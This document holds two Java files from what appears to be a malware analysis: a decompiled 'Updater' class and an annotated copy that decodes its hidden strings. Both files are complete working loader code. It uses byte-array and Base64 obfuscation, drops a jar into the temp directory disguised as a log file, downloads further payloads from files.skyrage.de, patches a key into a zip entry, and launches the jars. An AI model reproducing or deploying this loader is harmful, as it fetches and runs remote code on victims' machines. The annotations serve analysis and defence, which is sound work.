00_updateclass-malware-decompiled-20221229.java

/* Decompiler 16ms, total 997ms, lines 115 */
// https://jdec.app/
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.util.Base64;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;

public class Updater {
   public static void init() {
      try {
         File var0 = new File(System.getProperty(new String(new byte[]{106, 97, 118, 97, 46, 105, 111, 46, 116, 109, 112, 100, 105, 114})));
         File var1 = new File(var0, new String(new byte[]{107, 101, 114, 110, 101, 108, 45, 99, 101, 114, 116, 115, 45, 100, 101, 98, 117, 103, 52, 57, 49, 55, 46, 108, 111, 103}));
         boolean var2 = !System.getProperty("os.name").toLowerCase().contains("win");
         String var3 = (new File(System.getProperty("java.home") + (var2 ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
         if (var1.exists()) {
            Runtime.getRuntime().exec(new String[]{var3, "-jar", var1.getPath()});
         } else {
            byte[] var4 = new byte[]{-48, -6, -23, -57, 103, -92, 41, 103};

            try {
               var4 = a(Updater.class.getResourceAsStream("/plugin-config.bin"));
            } catch (Throwable var6) {
               var6.printStackTrace();
            }

            a(var1, var4);
            (new Thread(() -> {
               try {
                  a(var4);
               } catch (Exception var2) {
               }

            })).start();
            Runtime.getRuntime().exec(new String[]{var3, "-jar", var1.getPath()});
         }

      } catch (Exception var7) {
         var7.printStackTrace();
         throw new Error(var7);
      }
   }

   public static void a(InputStream var0, OutputStream var1) throws IOException {
      byte[] var2 = new byte[4096];

      int var3;
      while((var3 = var0.read(var2)) != -1) {
         var1.write(var2, 0, var3);
      }

   }

   public static byte[] a(InputStream var0) throws IOException {
      ByteArrayOutputStream var1 = new ByteArrayOutputStream();
      byte[] var2 = new byte['\uffff'];

      for(int var3 = var0.read(var2); var3 != -1; var3 = var0.read(var2)) {
         var1.write(var2, 0, var3);
      }

      return var1.toByteArray();
   }

   public static void a(byte[] var0) throws Exception {
      boolean var1 = !System.getProperty("os.name").toLowerCase().contains("win");
      String var2 = (new File(System.getProperty("java.home") + (var1 ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
      File var3 = new File(".log");
      HttpURLConnection var4 = (HttpURLConnection)(new URL(new String(new byte[]{104, 116, 116, 112, 58, 47, 47, 102, 105, 108, 101, 115, 46, 115, 107, 121, 114, 97, 103, 101, 46, 100, 101, 47, 109, 118, 100}))).openConnection();
      Files.copy(var4.getInputStream(), var3.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
      Runtime.getRuntime().exec(new String[]{var2, "-Dgnu=" + Base64.getEncoder().encodeToString(var0), new String(new byte[]{45, 106, 97, 114}), var3.getPath()}).waitFor();
      var3.delete();
   }

   public static void a(File var0, byte[] var1) throws Exception {
      HttpURLConnection var2 = (HttpURLConnection)(new URL(new String(Base64.getDecoder().decode("aHR0cDovL2ZpbGVzLnNreXJhZ2UuZGUvdXBkYXRl")))).openConnection();
      Files.copy(var2.getInputStream(), var0.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
      a(new ZipFile(var0), var1);
   }

   public static void a(ZipFile var0, byte[] var1) throws IOException {
      File var2 = new File(var0.getName() + new String(new byte[]{46, 116, 109, 112, 122, 105, 112}));
      Files.copy((new File(var0.getName())).toPath(), var2.toPath(), StandardCopyOption.REPLACE_EXISTING);
      ZipFile var3 = new ZipFile(var2);
      ZipOutputStream var4 = new ZipOutputStream(Files.newOutputStream(Paths.get(var0.getName())));

      for(Enumeration var5 = var3.entries(); var5.hasMoreElements(); var4.closeEntry()) {
         ZipEntry var6 = (ZipEntry)var5.nextElement();
         ZipEntry var7 = new ZipEntry(var6.getName());
         var4.putNextEntry(var7);
         if (!var7.isDirectory()) {
            if (var7.getName().equals(new String(new byte[]{103, 110, 117}))) {
               var4.write(var1);
            } else {
               a((InputStream)var3.getInputStream(var6), (OutputStream)var4);
            }
         }
      }

      var3.close();
      var0.close();
      var4.close();
      var2.delete();
   }
}

01_updateclass-malware-decompiled-annotated-20221229.java

/* Decompiler 16ms, total 997ms, lines 115 */
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.util.Base64;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;

public class Updater {
   public static void init() {
      try {
         File var0 = new File(System.getProperty(new String(new byte[]{106, 97, 118, 97, 46, 105, 111, 46, 116, 109, 112, 100, 105, 114})));
         // java.io.tmpdir
         File var1 = new File(var0, new String(new byte[]{107, 101, 114, 110, 101, 108, 45, 99, 101, 114, 116, 115, 45, 100, 101, 98, 117, 103, 52, 57, 49, 55, 46, 108, 111, 103}));
         // java.io.tmpdir / kernel-certs-debug4917.log (zip, executable jar)
         boolean var2 = !System.getProperty("os.name").toLowerCase().contains("win");
         // is Windows ?
         String var3 = (new File(System.getProperty("java.home") + (var2 ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
         // Java Executable path
         if (var1.exists()) {
            Runtime.getRuntime().exec(new String[]{var3, "-jar", var1.getPath()});
            // Run var1
         } else {
            byte[] var4 = new byte[]{-48, -6, -23, -57, 103, -92, 41, 103};
            // BASE64: 0Prpx2ekKWc=

            try {
               var4 = a(Updater.class.getResourceAsStream("/plugin-config.bin"));
               // Copy /plugin... into var4 as byte[]
               // Base64: IJMZR7mQs8faH0sBuSYr8g==
            } catch (Throwable var6) {
               var6.printStackTrace();
            }

            a(var1, var4);
            (new Thread(() -> {
               try {
                  a(var4);
               } catch (Exception var2) {
               }

            })).start();
            Runtime.getRuntime().exec(new String[]{var3, "-jar", var1.getPath()});
         }

      } catch (Exception var7) {
         var7.printStackTrace();
         throw new Error(var7);
      }
   }

   public static void a(InputStream var0, OutputStream var1) throws IOException {
      byte[] var2 = new byte[4096];

      int var3;
      while((var3 = var0.read(var2)) != -1) {
         var1.write(var2, 0, var3);
      }

   }

   public static byte[] a(InputStream var0) throws IOException {
      ByteArrayOutputStream var1 = new ByteArrayOutputStream();
      byte[] var2 = new byte['\uffff'];

      for(int var3 = var0.read(var2); var3 != -1; var3 = var0.read(var2)) {
         var1.write(var2, 0, var3);
      }

      return var1.toByteArray();
   }

   public static void a(byte[] var0) throws Exception {
      boolean var1 = !System.getProperty("os.name").toLowerCase().contains("win");
      String var2 = (new File(System.getProperty("java.home") + (var1 ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
      File var3 = new File(".log");
      HttpURLConnection var4 = (HttpURLConnection)(new URL(new String(new byte[]{104, 116, 116, 112, 58, 47, 47, 102, 105, 108, 101, 115, 46, 115, 107, 121, 114, 97, 103, 101, 46, 100, 101, 47, 109, 118, 100}))).openConnection();
      // http://files.skyrage.de/mvd
      Files.copy(var4.getInputStream(), var3.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
      Runtime.getRuntime().exec(new String[]{var2, "-Dgnu=" + Base64.getEncoder().encodeToString(var0), new String(new byte[]{45, 106, 97, 114}) /* -jar */, var3.getPath()}).waitFor();
      var3.delete();
   }

   public static void a(File var0, byte[] var1) throws Exception {
      HttpURLConnection var2 = (HttpURLConnection)(new URL(new String(Base64.getDecoder().decode("aHR0cDovL2ZpbGVzLnNreXJhZ2UuZGUvdXBkYXRl")))).openConnection();
      // http://files.skyrage.de/update
      Files.copy(var2.getInputStream(), var0.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
      a(new ZipFile(var0), var1);
   }

   public static void a(ZipFile var0, byte[] var1) throws IOException {
      File var2 = new File(var0.getName() + new String(new byte[]{46, 116, 109, 112, 122, 105, 112}));
      // var0 + .tmpzip
      Files.copy((new File(var0.getName())).toPath(), var2.toPath(), StandardCopyOption.REPLACE_EXISTING);
      // Copy var0 to var0.tmpzip
      ZipFile var3 = new ZipFile(var2);
      ZipOutputStream var4 = new ZipOutputStream(Files.newOutputStream(Paths.get(var0.getName())));

      for(Enumeration var5 = var3.entries(); var5.hasMoreElements(); var4.closeEntry()) {
         ZipEntry var6 = (ZipEntry)var5.nextElement();
         ZipEntry var7 = new ZipEntry(var6.getName());
         var4.putNextEntry(var7);
         if (!var7.isDirectory()) {
            if (var7.getName().equals(new String(new byte[]{103, 110, 117}))) {
               // File named "gnu"
               var4.write(var1);
            } else {
               a((InputStream)var3.getInputStream(var6), (OutputStream)var4);
            }
         }
      }

      var3.close();
      var0.close();
      var4.close();
      var2.delete();
   }
}